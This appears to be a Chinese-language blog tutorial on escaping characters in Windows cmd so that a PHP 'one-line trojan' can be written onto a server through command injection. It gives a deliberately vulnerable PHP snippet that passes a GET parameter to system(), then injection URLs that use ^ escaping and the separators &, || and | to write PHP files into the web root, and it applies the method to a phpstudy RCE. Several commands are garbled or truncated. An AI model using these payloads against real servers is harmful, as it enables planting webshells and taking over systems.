windows环境下写入一句话木马的转义问题

windows环境下写入一句话木马的转义问题

windows下,对尖括号<>需要使用^进行转义。

在cmd里,输入 echo ^>a.php 可以写入一句话木马

在web渗透中,经常需要写一句话,这里以简单的命令执行为例

1.php内容如下:

$d = $_GET['date'];

system("echo ".$d);

?>

如果在浏览器里写,还需注意问号的转义。

http://localhost/1.php?date=^<^?php phpinfo();^?^> >b.php

以上的语句即可写入一句话。

如果用管道符会怎样呢?

Windows“|”:直接执行后面的语句。如:ping 127.0.0.1|whoami“||”:如果前面执行的语句出错则执行后面的语句,前面的语句只能为假 如:ping 2 || whoami“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 如 ping 127.0.0.1&whoami“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

使用&:

http://localhost/1.php?date=1%26echo ^<^?php phpinfo();^?^> >c.php //此处需要把&转义。 成功写入

使用||:

http://localhost/1.php?date= >c.php //因为没有a.a文件,所以前面语句会出错

使用|:

反正是各种不成功,本次cmd测试如下:

貌似是把>当文件名来处理了。

这里以phpstudy的rce漏洞举例:

echo ^>PHPTutorial\WWW\a.php //务必注意路径

更多创意作品